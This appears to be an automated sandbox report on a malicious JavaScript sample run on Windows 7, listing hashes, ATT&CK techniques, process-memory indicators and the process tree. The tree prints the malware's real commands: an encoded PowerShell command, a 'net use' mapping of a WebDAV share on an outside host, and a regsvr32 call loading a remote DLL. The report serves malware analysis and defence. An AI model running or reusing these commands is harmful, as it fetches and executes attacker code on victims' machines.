4710830817a27c9aabb99680494fd1f2be8482b3dfd81c284eebd73f6c28792e

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
25-07-2024 18:36

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General

Target

20139310562712821802.js
Size

19KB
MD5

96c9d680248b45cb1f6cdb6ef905e0e2
SHA1

489798710d143d3776a8f5636dad7b421b825b9e
SHA256

4710830817a27c9aabb99680494fd1f2be8482b3dfd81c284eebd73f6c28792e
SHA512

7efabbb0c6b6e271ba5ae8956b1bcc347f443b5eab2ff3904886b1b0c07e47f92c56d285cbe1916a880a40dab666fa88b8fdf9f3b064375e747a90293bb8f0b4
SSDEEP

192:Na1WD5IjmunifAbap5rr2EzaX5/eCigZ+5dSWpKxJ5xcv:Na1Wd2muiIb8rr2Ezap/e1E0dSWpK1mv

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1948	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1948	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1296 wrote to memory of 1948	1296	wscript.exe	30
PID 1296 wrote to memory of 1948	1296	wscript.exe	30
PID 1296 wrote to memory of 1948	1296	wscript.exe	30
PID 1948 wrote to memory of 2736	1948	powershell.exe	32
PID 1948 wrote to memory of 2736	1948	powershell.exe	32
PID 1948 wrote to memory of 2736	1948	powershell.exe	32
PID 1948 wrote to memory of 2808	1948	powershell.exe	33
PID 1948 wrote to memory of 2808	1948	powershell.exe	33
PID 1948 wrote to memory of 2808	1948	powershell.exe	33
PID 1948 wrote to memory of 2808	1948	powershell.exe	33
PID 1948 wrote to memory of 2808	1948	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\20139310562712821802.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADEAMgA4ADEAMwAyADcAMwA4ADIAMgA1ADYANAAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2736
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\212813273822564.dll
    3⤵
    PID:2808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1948-4-0x000007FEF591E000-0x000007FEF591F000-memory.dmp

Filesize
4KB

Download
memory/1948-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/1948-11-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-10-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-9-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-8-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-7-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-6-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/1948-12-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

Filesize
9.6MB

Download